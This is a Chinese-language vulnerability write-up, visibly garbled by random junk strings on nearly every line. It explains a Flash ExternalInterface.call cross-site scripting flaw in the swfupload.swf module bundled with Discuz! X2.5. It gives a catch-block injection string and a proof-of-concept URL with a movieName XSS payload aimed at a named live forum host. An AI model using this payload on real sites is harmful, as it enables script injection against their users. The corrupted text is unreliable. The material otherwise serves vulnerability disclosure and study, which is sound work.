上回我们说) `$ E' m7 b+ f$ a' A: _" q7 q D
2 Q% y' E) W: m- [( b u8 ~1 L
flash.external.ExternalInterface.call($methodName, $parameter)
( r7 }0 u3 q- w$ K% }* |$ G: e在浏览器中执行的是# J5 k! G! z/ j5 T& K* u
& v, U/ m" T1 @& f$ ~- }' X2 i& }try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}! w" d% ^9 U6 ]- {; w) p
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
! Z' I/ B; L/ w' {& \
0 w* V9 J) { _% A9 `, ^' ^flash.external.ExternalInterface.call("object."+$methodName, $parameter)
0 ~) _/ b1 ~/ R* Q( ]6 M# b' ]$methodName = a())}catch(e){alert(/xss/)}//) J+ C% v( u/ h! l
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。0 @: [5 [3 V4 r
& c4 U$ r! \ U; {2 a8 Utry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }% e6 }+ }. {. l% D6 x
- G# E# _6 F0 `( b* l这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )3 V0 S% ~# W3 p# @' [! m8 O
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
, _& x2 g( V! x; ]/ z) O" t6 v4 a- b7 J0 n+ q9 G- J
- i$ a* r v0 S5 [5 ]/ {
/ e: G! \% K! H5 `$ L漏洞文件:upload\static\image\common\swfupload.swf2 w+ v" }, Y- u' a6 q0 t
" j) W: W8 m3 q& E' |+ _
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf" c; x1 H+ T/ |/ b4 u' Z$ ^
( m) z; G$ E8 S6 E+ D5 r& g, ]$ X+ ?. i4 S+ w2 X
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
- i" y4 c- F/ e4 _5 m4 @. ~
0 z8 V( K& x$ ~9 T" B6 r4 b9 V7 h
! x4 I0 h5 R5 {0 g% @4 y" l- {! x/ | |